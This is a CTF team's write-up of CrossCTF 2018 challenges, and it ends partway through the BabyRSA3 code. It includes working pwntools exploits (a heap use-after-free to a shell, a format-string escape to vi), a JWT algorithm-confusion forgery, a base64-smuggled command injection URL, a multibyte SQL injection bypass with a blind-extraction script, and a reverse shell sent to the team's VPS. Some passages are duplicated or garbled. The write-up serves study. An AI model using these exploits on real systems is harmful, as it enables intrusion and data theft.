Reverse Engineering
   Perfect
   Tower Of Beer: Rochefort 6

Pwn
   FTLOG
   Slowmo
   Coca Cola
   Gruffybear
   Souvlaki Space Station

Web
   GoCoin!
   GoCoin! Plus
   GoCoin! Plus Plus
   The Terminal
   RetroWeb

Crypto
   Fitblips
   BabyRSA3

Misc
   The Evilness
   Choose Your Own Adventure 2
   Human Powered Flag Generator

Sanity
   Sanity
Perfect

The binary definitely was intimidating on initial inspection, with its use of the GMP library.

With some prior knowledge of the usage of GMP, we were able to lookup the names of functions within the binary simply by replacing the first part of the symbol with mpz.

With some prior knowledge of the usage of GMP, we were able to lookup the names of functions within the binary simply by replacing the first part of the symbol with mpz.
Also, due to lack of struct information, we also had to google for the information structure of a mpz number, which lead us to understand that the checks on v11 and v13 meant a non zero check for the numbers v10 and v12 respectively, as their addresses were 4 bytes apart, suggesting that they are part of the same struct.

Converting the code into an algorithm, we quickly discover that it is a primitive factor sum algorithm, only satisfied when the input integer is equal to the sum of its unique factors and larger than $2^{212}$, a fairly huge number. With a reminder from my teammate, I realised that a number with the former property is known as a perfect number (aha, so that's what the name meant).
<table>
<thead>
<tr>
<th>Rank</th>
<th>$p$</th>
<th>Perfect number</th>
<th>Digits</th>
<th>Year</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2</td>
<td>6</td>
<td>1</td>
<td>4th century B.C.</td>
</tr>
<tr>
<td>2</td>
<td>3</td>
<td>28</td>
<td>2</td>
<td>4th century B.C.</td>
</tr>
<tr>
<td>3</td>
<td>5</td>
<td>496</td>
<td>3</td>
<td>4th century B.C.</td>
</tr>
<tr>
<td>4</td>
<td>7</td>
<td>8128</td>
<td>4</td>
<td>4th century B.C.</td>
</tr>
<tr>
<td>5</td>
<td>13</td>
<td>33550336</td>
<td>8</td>
<td>1456</td>
</tr>
<tr>
<td>6</td>
<td>17</td>
<td>8589869056</td>
<td>10</td>
<td>1588</td>
</tr>
<tr>
<td>7</td>
<td>19</td>
<td>137438691328</td>
<td>12</td>
<td>1588</td>
</tr>
<tr>
<td>8</td>
<td>31</td>
<td>2305943008139952128</td>
<td>19</td>
<td>1772</td>
</tr>
<tr>
<td>9</td>
<td>61</td>
<td>26584559156...615953842176</td>
<td>37</td>
<td>1883</td>
</tr>
<tr>
<td>10</td>
<td>89</td>
<td>191561942608...321548169216</td>
<td>54</td>
<td>1911</td>
</tr>
<tr>
<td>11</td>
<td>107</td>
<td>131640364585...117783728128</td>
<td>65</td>
<td>1914</td>
</tr>
<tr>
<td>12</td>
<td>127</td>
<td>1447401111546...131199152128</td>
<td>77</td>
<td>1876</td>
</tr>
<tr>
<td>13</td>
<td>521</td>
<td>235627234572...160555645976</td>
<td>314</td>
<td>1952</td>
</tr>
</tbody>
</table>

From Wikipedia, we discover that such numbers are in fact uncommon and since $2^{212}$ is 64 digits, the smallest number satisfying the problem is the 77 digit perfect number, which we discovered was $2^{126} * (2^{127} - 1)$. Since running the program is pointless, we copied the python code from the decompilation output and ran it to obtain the flag. (Also yes, why are we awake now?)
Tower Of Beer: Rochefort 6

We only managed to complete the first section of this challenge, kudos to OSI Layer 8 for fully completing this and we look forward to their writeup! 0)v(0

A decompilation of the binary suggests that to complete the first section, we have to provide an input that when ran through a processing function, produces the same number as the program generates. We have to pass the test 20 times before the flag is obtained.

Upon closer inspection, the processing algorithm works as such:

1. Set n = 0
2. Add ASCII value of first character to n
3. Multiply n by 1131573107 and add 1933792326
4. Repeat from step 2 until every character is used up, inclusive of newline

After some thought, we could not devise a way to effectively calculate a way to reverse the input based on the number; after all, such a function is a many to one function. Instead, we chose to build a lookup table whereby we generate all possible input within a keyspace and lookup the input based on the numbers given. Every candidate was
It was quickly proven that with a 3 character all printable keyspace, the generated numbers were sufficient for lookups and we managed to get the flag. Looking forward to enjoying some beer after xCTF next year! (Author is 17)

```
import itertools

def calc(string):
    n = 0
    for char in string:
        n+=ord(char)
    n = 1131573107 * n + 1933792326
    n%=2**32
```

Source code: rainbowtable.py
Purpose: Generation of lookup table
return \texttt{n \% (2^{16})}

for \texttt{x} in \texttt{itertools.product(range(0x1, 0xff), repeat=3)}:
    \texttt{pro} = \texttt{[chr(y) for y in x]}
    \texttt{cand} = \'\'.join(\texttt{pro})
    \texttt{print} \texttt{"\%s \%d\" % (cand,\texttt{calc(cand+\'\n\')}}

Source code: towerofbeer6.py

\begin{verbatim}
from pwn import *
import time
import signal
from ctypes import CDLL

proc = process('./towerofbeer')
proc = remote('ctf.pwn.sg',16667)
rt = [x for x in open('rt.txt')]
def lookup(num):
    for entry in rt:
        if entry.split(' ')[-1].rstrip()==str(num):
            return entry[0:3]

proc.sendlineafter('Or send any number to have both ;)','6')
for _ in range(20):
    target = proc.recvuntil('Your turn:').split('\n')[-2]
    #pause()
    print target
    proc.sendline(lookup(target))
proc.interactive()
\end{verbatim}
A brief inspection of the binary suggests that it runs on the ARM architecture, so we proceeded to inspect the binary using qemu-arm.

```
yichenchai@Debian:~/data/shared/crossctf2018$ file ftlog
ftlog: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYS
yichenchai@Debian:~/data/shared/crossctf2018$
```

The program waits for input and upon some random keyboard input produces a segmentation fault.

```
input
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
yichenchai@Debian:~/data/shared/crossctf2018$
```

Combined with a (semi-incorrect) output of IDA Pro’s decompilation of the binary, it suggests that the challenge is in fact a trivial read shellcode and execute binary.

```
1 int cdecl main(int argc, const char **argv, const char **envp)
2 {
3   void (_fastcall *v3)(int); // ST00_401
4   int v4; // r0@1
5   puts(argv, argc, envp);
6   v3 = (void (__fastcall *)(int))malloc(512);
7   mprotect(v3);
8   v4 = read(0);
9   v3(v4);
10  return 0;
11 }
```

Several spawn /bin/sh shellcode found using google proved to not work, and we ended up with
https://packetstormsecurity.com/files/144070/Linux-ARM-Raspberry-Pi-Reverse-TCP-S hell-Shellcode.html, using the payload to send a reverse shell to our DigitalOcean VPS.

```
Listening on [0.0.0.0] (family 0, port 4660)
Connection from [159.89.197.54] port 4660 [tcp/*] accepted (family 2, sport 51852)
cat /home/ftlog/flag
CrossCTF{slowmo_stарровing_sugarforthepill_alison}
exit
```
**Slowmo**

Owing to the lack of symbols of any kind within the binary, we did not inspect this binary much until the the release of its source code. The source code reveals that this is a turing tape (Brainf**k inspired?) machine simulator with a trivial OOB write flaw.

We matched the case switch statement in the source code with the disassembly. Below shows one of them, the increment function using the ^ character.

The addresses at 0x106f0 seems rather interesting, so we set a breakpoint in GDB to take a further look.

Since we did not modify the pointer beforehand, this pointer must point to the start of the tape! What can we do now? The binary calls a function to check the date when an ! mark is provided, with a function spawning a shell close to it by address.
Where is the function's pointer relative to our pointer?

I mean from the source code it is obvious but we just wanted to make sure :P.

Using the < character to shift our tape pointer to the pointer of the date function, we increment it until it points to the spawn shell function (0x105d0 - 0x105b4 = 28), before using ! to get a shell.
Coca Cola

The binary on first look reads in some input before printing out a series of meaningless information.

```
Here's your randomly generated coke can!
Version: V.4919
Serial Number: 1036631814
Title: Limited Edition Coca Cola - Product of Mexico
Did you get it? If not try again.
yichenchai@Debian:~/data/shared/crossctf2018$
```

From decompilation, we noticed an interesting check in the coca function.

```c
__int64 coca()
{
    char buf; // [sp+0h] [bp-110h]+1
    __int64 v2; // [sp+108h] [bp-8h]+1

    v2 = *MK_FP(__FS__, 40LL);
    puts(art);
    read(0, &buf, 0xFFFULL);  // signed __int64
    if ( flag_denied == 0xC5u )
        read(0, &something, 1ull);
    return *MK_FP(__FS__, 40LL) ^ v2;
}
```

What is flag_denied? From our inspection, it appears to be one byte after flag in the main function.

```
.bss:00000000002117FD flag   db     ? ;
.bss:00000000002117FD
.bss:00000000002117FE        public flag_denied
.bss:00000000002117FE flag_denied   db     ? ;
```

Conveniently, main reads 2 characters into flag, meaning we can overwrite flag_denied and have one byte into the variable something.

```
printf("Do you want to flip the flag switch? (y/n) ", __isoc99_scanf("%2s", &flag);
```

But what does that do? Looking at cola, we see that when something is zero, it disables the assignment of variables, which leads us to the obvious bug of uninitialised stack variables!
The second part of the code indicates that if we were to input 'D' (68 in ASCII) as the first character of flag (i.e. enter 'D\xc5'), we would trigger an additional printf statement referring to a stack variable as a string pointer.

At the very start of main, we have identified that this is likely not a drop shell challenge as the flag is in fact read into memory, at 0x700B1000.

```
if ( something )
{
  u2 = 4919LL;
  u6 = 23341820575441493248LL;
  u5 = 23369277536717933333LL;
  u6 = 78135376048638208678LL;
  u7 = 72371288146708458481LL;
  u6 = 55575545676478936211LL;
  u9 = 1667856485;
  v10 = 111;
  v11 = "Invalid internal error."
}
puts("Here's your randomly generated coke cant");
printf("Version: %lu\n", u2, v2);
printf("Serial Number: %lu\n", v3);
printf("Title: %s\n", &u4);
if ( flag == 68 && v11 )
{
  puts("Errors were found.");
  printf("Error: %s\n", v11);
}
```

The second part of the code indicates that if we were to input 'D' (68 in ASCII) as the first character of flag (i.e. enter 'D\xc5'), we would trigger an additional printf statement referring to a stack variable as a string pointer.

At the very start of main, we have identified that this is likely not a drop shell challenge as the flag is in fact read into memory, at 0x700B1000.

```
    fd = open("flag_page", O_RDONLY);
    memset(&stat_buf, 0, sizeof(stat_buf));
    if ( (unsigned int)fstat(fd, &stat_buf) == -1 )
    {
      perror("Error getting the file size");
      result = -1;
    }
    else
    {
      v5 = stat_buf.st_size;
      mmap((void *)0x700B1000, stat_buf.st_size, 1, 0, fd, 0LL);
    }
```

The rest is simple, we just overwrote the string pointer v11 in the screenshot with 0x700B1000. What we got was a repeated string of the single character 'C'

```
yichenchao@Debian:/data/shared/crossctf2018$ python cocacola.py
[+] Starting local process './cocacola': pid 3297
[+] Opening connection to ctf.pwn.sg on port 4001: Done
255
[*] ccccccccccccccccccccccccccccccccccccccccc
[*] Closed connection to ctf.pwn.sg port 4001
[*] Stopped process './cocacola' (pid 3297)
```

After incrementing the string pointer, we discovered that the organisers (for some reason), repeated every character in the flag a lot of times, which from there was trivial
to continue. We simply recorded the output, added its length+1 to the string pointer and repeated the exploit until we got the flag.

```python
from pwn import *
proc = process('./cocacola')
addr = 0x700B1000
flag = ''
while True:
    proc = remote('ctf.pwn.sg', 4001)
    #pause()
    proc.sendafter('Do you want to flip the flag switch? (y/n)', 'D\xc5')
    print(len(cyclic(0xfe,n=8)[0:-7]+p64(0x700B1000)[0:-1]+'\x00'))
    sleep(1)
    #proc.sendline(cyclic(0xfe,n=8)[0:-7]+p64(0x700B1000)[0:-1]+'\x00')
    proc.send('\x00'*248+p64(addr))
    char = proc.recvuntil('Did').split('\n')[-2].split(' ')[-1]
    flag+=char[0]
    log.info(flag)
    addr+=len(char)
    addr+=1
```
Gruffybear

Decompilation output tells us that this is a standard x86_64 heap exploitation challenge. Before we analysed the binary in detail, we decided to do some basic dynamic analysis to identify common bugs. Knowing that the creation and deletion routine are using malloc and free respectively, we create two bears to prevent the chunk of the first bear from coalescing back when we free it.

```c
v1 = calloc(1ULL, 0x88ull);
bears[v0] = v1;
_printf_chk(1LL, "Bear Name: ");
read(0, v1, 0x1full);
_PRINTF_chk(1LL, "Bear ID: ");
_isoc99_scanf("%k", (char *)v1 + 32);
_PRINTF_chk(1LL, "Bear Age: ");
_isoc99_scanf("%d", (char *)v1 + 36);
_PRINTF_chk(1LL, "Bear Description: ");
read(0, (char *)v1 + 40, 0x80ull);
*((_QWORD *)v1 + 21) = &free;
*((_QWORD *)v1 + 22) = self_destruct_device;
puts("Bear created");
++num_bears[0];
_PRINTF_chk(1LL, "Deleting [%s]...\n");
if ( *((void (**)(void *))selected_bear + 21) == &free )
    free(selected_bear);
result = puts("Deleted");
```

We found that a bear could be deleted twice, with the second instance resulting in the bear name becoming a string of unprintable characters followed by the binary terminating.

```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
There is an admin function that is triggered with 12 bears created which calls a function within the bear chunk, which requires a password of 'ENTERTAINUS' (reverse string check).

```c
int64 add_comment()
{
    char nbytes[12]; // [sp+4h] [bp-14h]+1

    *(DWORD *)&nbytes[4] = *(MK_FP(__FS__, 40ULL));
    _printf_chk(1LL, "How long should the comment be: ");
    _isoc99_scanf("%d", nbytes);
    comment = calloc((unsigned int)(*(DWORD *)&nbytes + 1), 1ull);
    _printf_chk(1LL, "Comment: ");
    read(0, comment, *(unsigned int *)&nbytes);
    return *(MK_FP(__FS__, 40ULL) ^ *(DWORD *)&nbytes[4]);
}
```

We filled the comment, or the reclaimed bear chunk, until the function call, which we replaced with a libc one_gadget based on the leak previously mentioned.

```bash
yichenchai@Debian:/data/shared/crossctf2016$ one_gadget libc=2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
    rax == NULL
9x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
    [rsp+0x30] == NULL
```

The second one_gadget worked, dropping us to a shell.
from pwn import *
proc = process('./gruffybear')
proc = remote('ctf.pwn.sg', 4002)
def build(name, id, age, desc):
    sleep(0.25)
    proc.sendline('1')
    proc.sendlineafter('Bear Name: ', name)
    proc.sendlineafter('Bear ID: ', str(id))
    proc.sendlineafter('Bear Age: ', str(age))
    proc.sendlineafter('Bear Description: ', desc)

def select(num):
    sleep(0.25)
    proc.sendline('2')
    proc.sendlineafter('Selection: ', str(num))

def delete():
    sleep(0.25)
proc.sendline('3')

def printlol():
    sleep(0.25)
    proc.sendline('4')
    return proc.recvuntil('It\'s DESCRIPTION is')

def add_comment(size, comment):
    sleep(0.25)
    proc.sendline('5')
    proc.sendlineafter('How long should the comment be:', str(size))
    proc.sendlineafter('Comment: ', comment)

pause()
build('bear', 10, 10, 'a')
build('bear', 10, 11, 'a')
select(0)
delete()
leak = printlol().split('You have selected: [')[1].split(']')[0]
log.info("Leaked: 0x%x" % u64(leak.ljust(8, '\x00')))  
print p64(u64(leak.ljust(8, '\x00'))-0x37f7e8).encode('string_escape')
pause()
add_comment(183, '/bin/sh\x00'+ 'A'*168+p64(u64(leak.ljust(8, '\x00'))-0x3c4b78+0xf02a4)[0:-1])
#proc.interactive()
for x in range(11): build('bear', 10, 10, 'a')
sleep(0.25)
proc.sendline('1')
proc.sendlineafter('Here we are now... ', 'ENTERTAINUS')
proc.interactive()
#pause()
# build('bear', 10, 11, 'a')
# pause()
# select(0)
# delete()
proc.interactive()
Souvlaki Space Station

This binary was initially pretty challenging due to the intentional anti-decompilation measures put in place by the authors. From some analysis of the ARM code of the binary, we gather that the binary uses read and strlen, with the strlen output being used as the size of the next iteration of read. For some reason now can decompile everything.

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v3; // r3@7
    bool v4; // cf@10
    bool v5; // zf@10
    unsigned int j; // [sp-20h] [bp-20h]@4
    unsigned int k; // [sp-1Ch] [bp-1Ch]@6
    signed __int64 i; // [sp-14h] [bp-14h]@1
    int v9; // [sp+0h] [bp+0h]@0

    init0(argc, argv, envp);
    setbuf(stdin, 0, 2, 0);
    setbuf(stdout, 0, 2, 0);
    setbuf(stderr, 0, 2, 0);
    ssignal(11, sighandler);
    for (i = 71LL; ++i )
    {
        v4 = 1;
        v5 = MIDWORD(i) == 0;
        if ( !MIDWORD(i) )
        {
            v4 = (unsigned int)i >= 0x96;
            v5 = (_DWORD)i == 150;
        }
        if ( !v5 & v4 )
            JUMPOUT(__CS__, v9);
        printf(dword_90D28);
        read(0, &unk_98CA0, dword_98D24);  
        dword_98D24 = strlen(&unk_98CA0) + 1;
        for (j = 0; dword_98D24 > j; ++j )
        {
            if ( *((unsigned char *)&global_state + j + 4) == 10 )
                *((unsigned char *)&global_state + j + 4) = 0;
        }
        for (k = 0; dword_98D24 > k; ++k )
        {
            v3 = *((unsigned char *)&global_state + k + 4);
            printf("%hhx ");
        }
        puts(&unk_71DE0);
    }
}
```

This brings us to consider the common flaw of overwriting the null byte of a null terminated string with results in string functions going out of bounds.
From dynamic analysis, we found that the text buffer in fact has text inside before output, with a length of 38, which we have to overflow.

```
gef> x/s 0x98ca0
0x98ca0 <global_state+4>: "PLACEHOLDER TEST MAN"
```

Qemu-arm with running with strace confirms our suspicion, which can be seen by the erroneous increasing size of read with each iteration.

```
read(0,0x98ca0,38)AAAAAAAAAAAAAAAAAAAAAA = 38
read(0,0x98ca0,39)AAAAAAAAAAAAAAAAAAAAAA = 39
```

Based on the decompilation we have, the binary drops to vi editor if the binary has a segmentation fault and the variable `global_state` is equivalent to 0 (bear in mind we did not have the source code yet).

```
ssignal(11, (int)sighandler);
```

```c
void __fastcall sighandler(int at)
{
    ssignal(at, 0);
    puts("souvlaki.c:10:5: warning: implicit declaration of function GCCexitGÇ© [-Wimplicit-function-declaration]");
    puts("souvlaki.c:10:5: warning: incompatible implicit declaration of built-in function GCCexitGÇ©");
    puts("souvlaki.c:10:5: note: include 'stdio.h' or provide a declaration of GCCexitGÇ©");
    if (global_state)
    {
        puts("To report this bug, please contact support@linux.org.");
        execl("/usr/bin/vi", 0);
    }
    exit(1);
}
```

We were only able to achieve the first condition by generating the output beforehand and feeding it to the program. Decompilation tells us that the loop runs for 150 iterations.

```
for x in range(150):
    f.write('A)*(0x26+x))
```

The segfault was achieved by corrupting the pointer passed to `printf` within the binary. Upon closer inspection after the release of the source code (or in fact now with the decompilation), we identified that the `printf` statement in fact contains a primitive format string vulnerability.

```
printf(dword_98D20);
```

By dynamic analysis using gdb, we overwrite the pointer passed to `printf` to point to the start of our input. To achieve the null byte at the start of the address, we use a newline character in its place, making use of our knowledge that the binary replaces newline with null byte.
From an inspection of the stack within the printf function using gdb, we were (fortunately) able to find the address to global_state as the 7th parameter of printf. Since the binary is (luckily) not compiled with FORTIFY, we can use %7$n to write a non zero value to global_state, spawning vi editor. We realised that despite being able to spawn vi, the editor was completely uninteractive regardless of what we do. We opted for a noninteractive option, using \x1b (ESC key) to break out of insert mode and :r!cat /home/souvlaki/flag to get us the flag.
from pwn import *

f = open('s.txt', 'w+')

for x in range(93):
    if x==91:
        f.write('XXXX%7$n'.ljust(37,'A')+p32(0x0a098cfb)+(x-3)*'A'+'
')
    else:
        f.write(cyclic(0x26+x)+'
')

f.write('\x1b:r!cat /home/souvlaki/flag
')
Web

GoCoin!

On visiting the website and depositing a coin, we noted that the value was urlencoded: http://ctf.pwn.sg:8182/deposit?amount=1

While we couldn’t deposit more than we had in our wallets, it turned out that we could certainly deposit less. Hence, we deposited a negative amount to increase the money we had in our wallet, at the expense of owing the bank money: http://ctf.pwn.sg:8182/deposit?amount=-1000

You deposited -1000 GoCoins! into your bank!
You have 1001 GoCoins! in your wallet and -1000 in your bank!
Deposit 1 GoCoins into your bank here!
Withdraw 1 GoCoins from your bank here!
Buy a flag for 1.337 GoCoins! here.

This gave us enough money to buy the flag CrossCTF{G0C0in_Is_Th3_Nex7_Bi5_Th@ng!}, at least temporarily, before the bank chases us for their money back.
GoCoin! Plus

Due to an oversight, this challenge ended up having the exact same solution as GoCoin.

Accessing http://ctf.pwn.sg:2053/deposit?amount=-1337 gave us enough money to buy the flag: CrossCTF{GoCoin!_Cash_Is_th3_m0St_5eCur3!!!!13337}
GoCoin! Plus Plus

This time, we won’t be able to solve it as cheaply as GoCoin! Plus.

The challenge is to somehow manipulate our wallet into having 1337 gocoins. Examining the browser’s cookies reveals the existence of a wallet_2 cookie, which seems to store the current state of our wallet.

A close look at the source code suggests that that is indeed the case, and that the code uses the jwt-go library to do so. The cookies can ostensibly only be produced with someone possessing the RSA private key, but decoded by anyone (and verified by anyone with the public key).

Googling for jwt vulnerabilities leads us to this article: https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/, which details the vulnerability: there are different signing methods available for creating jwt, and the source code does not validate that the algorithm is indeed RS256. Hence, if HS256 was used instead, the server would use the public key to decode the token. And how do we encode the token? Well, we have the public key conveniently available for us to create the token!

Hence, all we have to do is generate a new wallet, and encode it with HS256 using the public key. We did this by copying liberally from the original source code.

```go
// main.go
package main

import (
    "io/ioutil"
    "github.com/dgrijalva/jwt-go"
    "math/rand"
    "fmt"
)

func Wallet(wallet float64, bank float64, mySigningKey []byte) (string, error) {
```
token := jwt.New(jwt.GetSigningMethod("HS256"))
claims := make(jwt.MapClaims)
claims["wallet"] = wallet
claims["bank"] = bank
claims["rand"] = rand.Uint64()
token.Claims = claims
tokenString, err := token.SignedString(mySigningKey)
return tokenString, err
}

func GenerateNewWallet() (string, error) {
    walletString, err := Wallet(1337, 0, publicKey)
    return walletString, err
}

func main() {
    walletString, err := GenerateNewWallet()
    fmt.Println(walletString, err)
}

var publicKey, _ = ioutil.ReadFile("keys.rsa.pub")

Running the code gives us the required cookie:

damian@MacBook-Pro:~/go/src/server$ go run main.go
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbmFibGUiOiJib3JlZiJ9.fHwX67L9FZ2awR7Rn5 EvansFS3s
Finally, we replace the cookie in the browser with this new cookie, and voila!
We can now happily purchase the flag:

GoCash! Plus
You bought a flag!
CrossCTF{SORRY_I_AM_STUPID!!!}
The Terminal

The second fastest challenge done in this CTF, using around 7 minutes from challenge release to flag. Guess staying up late was a good idea after all? ;)

Initial probing of the web terminal provided at the link did not return much. After all, we don't expect to have a working shell straightaway just by going to the link.

```
Welcome to The Terminal. Type 'help' to get started.

root@ctf.pwn.sg $ ls
ls: command not found
root@ctf.pwn.sg $ whoami
You are not logged in
root@ctf.pwn.sg $ uname -a
uname: command not found
root@ctf.pwn.sg $
```

The inspection of source code was supposed to take a while, but with sheer luck, we discovered an interesting url almost instantly.

```javascript
/** *
 * Posts on remote server
 */
commands.mtd = function(args) {
    var result = httpGet('http://' + document.location.hostname + ':4082/file?filename' + '=' + tld.txt')
    return extractMessage(result)
}
```

Reference to a filename in the url immediately leads us to consider a form of local file inclusion / read bug, which was quickly proven right.
Our attempt to read /home/theterminal/flag was greeted with a 500 ISE, suggesting that the file does not exist. It's CrossCTF, a challenge can't be this trivial I guess. Next, we tried reading /proc/self/environ, in hope of getting a glimpse of the system (sometimes the flag is there).

Gunicorn? The name sounds oddly familiar and from a google, it is obvious: this is a python server. From the number of CTFs done in the past, the likely path for the app is app.py (it's also in the screenshot but hey sure I am careless).

We managed to obtained the string encoded version of the source code and the picturise function was the most interesting.
Essentially, this entry point is an arbitrary command execution function, but the command has to have no / character, for that denotes a new entry point. Simple, we just base64 encode our command and decode it server side!

The full url is:

```
http://ctf.pwn.sg:4082/picturise/echo%20Y2F0IC9ob21lL3RoZXRlcm1pbmFsLyo=%20|
%20base64%20-d%20|%20sh
```

P.S. In the actual CTF we dropped a reverse shell for teh lulz
RetroWeb

From the source code provided, we observed that there was heavy filtering of some common sql keywords and operators. Even more damning, however, was the use of mysql_escape_string which filtered crucial characters like ' and " by prepending backslashes.

Googling around to figure out how to bypass the escaping, we found the link http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html, which demonstrated how we could bypass the backslash through the use of multibyte characters.

To extract the flag, we then had to do a blind sql injection while carefully avoiding the use of any filtered keywords.

After trial and error, we settled on the following input:

%%bf%27||BINARY(MID(flag,"x",1))IN(0xyy);#
where x is the position and 0xyy is the hex representation of the character

With that, we proceeded to automate the process of figuring out the flag, one character at a time.

```python
import os

CHARS = "1234567890qwertuyiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*(){}|:<>?_"
current_stub = "CrossCTF{"

def main2():
    global current_stub
    for char in CHARS:
        cmd = '''curl -X POST --data username="%%bf%27||BINARY(MID(flag,''' + str(len(current_stub) + 1) + '''" + str(len(current_stub) + 1) + hex(ord(char)) + '');#"
http://ctf.pwn.sg:8180/?search --silent'''
        ret = os.popen(cmd).read()
```
if "Exists." in ret:
    current_stub += char
    return

def main():
    while True:
        print("Current stub:", current_stub)
        main2()
        if current_stub[-1] == "}":
            print("Current stub:", current_stub)
            print("Done!")
            break

main()}
damian@MacBook-Pro-6:~/Desktop$ python3 sqli.py
Current stub: CrossCTF{
Current stub: CrossCTF{W
Current stub: CrossCTF{Wh
Current stub: CrossCTF{Why
Current stub: CrossCTF{Why_
Current stub: CrossCTF{Why_W
Current stub: CrossCTF{Why_W0
Current stub: CrossCTF{Why_W0u
Current stub: CrossCTF{Why_W0uL
Current stub: CrossCTF{Why_W0uLd
Current stub: CrossCTF{Why_W0uLd_
Current stub: CrossCTF{Why_W0uLd_A
Current stub: CrossCTF{Why_W0uLd_An
Current stub: CrossCTF{Why_W0uLd_Any
Current stub: CrossCTF{Why_W0uLd_Any0
Current stub: CrossCTF{Why_W0uLd_Any0n
Current stub: CrossCTF{Why_W0uLd_Any0ne
Current stub: CrossCTF{Why_W0uLd_Any0ne_
Current stub: CrossCTF{Why_W0uLd_Any0ne_<
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3_
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3_W
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3_We
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3_Web
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3_Web?
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3_Web?!
Current stub: CrossCTF{Why_W0uLd_Any0ne_<3_Web?!

Done!
This gave us the flag CrossCTF{Why_W0uLd_Any0ne_<3_Web?!}
Crypto

Fitblips

Running the given netcat command, we get a dump of the source code.

Examining it, we understand that we are to provide a hex-encoded string (without the “0x”s) as a password, followed by a number of iterations “user_times”. The aim appeared then to be to reduce the variable called “result”, which is initially set to len(flag.flag) * 8 * user_times, to 0.

So how exactly is it reduced? The code has a function called check which counts the number of bits the entered password and the flag have in common. This value is then subtracted from result in each iteration.

We noted that the program returns the elapsed time, and returns early in the check function, suggesting the possibility of a timing attack. However, since the program also returns the value of result, we can easily see how close our password is to matching the flag.

We can then simply guess the flag character by character, by first starting with the password “CrossCTF{” and repeatedly appending the character that gives the smallest result value. We automated the process using pwntools.

```python
from pwn import *

custom.timeout = 10

def hexify(data):
    ret = ""
    for c in data:
        ret += hex(ord(c))
    ret = ret.replace("0x", "")
    return ret
```
def extract(data):
    data = data.decode("utf-8")
    return int(data[data.find("(")+1:data.find(")")])

CHARS =
"1234567890qwertuyiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLMZXCVBNM!@#$%^&*(){}|:<>?_"

current_stub = "CrossCTF"

def test(data):
    conn = remote("ctf.pwn.sg", 4003)

    conn.recvuntil("Password: ")

    conn.sendlineafter("Password: ", hexify(current_stub + data))

    conn.sendlineafter("How many times do you want to test: ", "1")

    conn.recvline()
    return conn.recvline()

def main():
    global current_stub
    smallest = extract(test(""))
    small_char = "?"
    for char in CHARS:
        ret = test(char)
        num = extract(ret)
        if num < smallest:
            smallest = num
            small_char = char

    current_stub += small_char
    if smallest <= 0:
        print("FOUND FLAG: ", current_stub)
        exit(0)

while True:
print("Current stub:", current_stub)
main()

Leaving the code to run, we eventually obtained the flag, although it took multiple runs as the code kept facing EOF errors.
This gave us the flag `CrossCTF{t1m1ng_att4ck5_r_4_th3_d3vil}`.
This challenge began with hours of frantic googling, ranging from terms such as "inverse totient function" to "get n from phi n and d". Of course, this yield no results. Finally, it came to us that we can factor phi(n). Kudos to Departamento de Matemáticas, Universidad Autónoma de Madrid for providing us with the SageCell math service!

Since phi(n) = (p-1)*(q-1), we will have to find out which of these factors make up the two numbers. The algorithm is as such:

For set in all possible subsets of factors:
   p_minus_one = product of all factors in set
   if is_prime(p_minus_one + 1) and is_prime((phi / p_minus_one)+1)
       print p_minus_one

Easier said than done. Our initial implementation in python was way too slow, so we resorted to using c and libgmp (inspired by the challenge 'perfect'). It turns out (after much confusion) that there is more than one set of solutions to such a problem. (i.e. p and q can have multiple candidates).

p = 387222931364287901542528430572483010039567272707494952957719945604586769
7108322483530078386035415819596731525703830806512587046507522321691571
685703379119439599767387969283 was proven to be the correct solution from our manual testing (there were only ~5 pairs of factors?).

The flag when decoded gives: CrossCTF{Pub7ic_prlv4te_K3ys_4_R5A_t33ns}
#include <gmp.h>
#include <stdio.h>
#include <math.h>

mpz_t phi;

int check_pq(mpz_t p) {
    int res;
    mpz_t q;

    mpz_init(q);
    mpz_set_ui(q, 0);

    mpz_cdiv_q(q, phi, p);
    mpz_add_ui(q, q, 1);
    mpz_add_ui(p, p, 1);
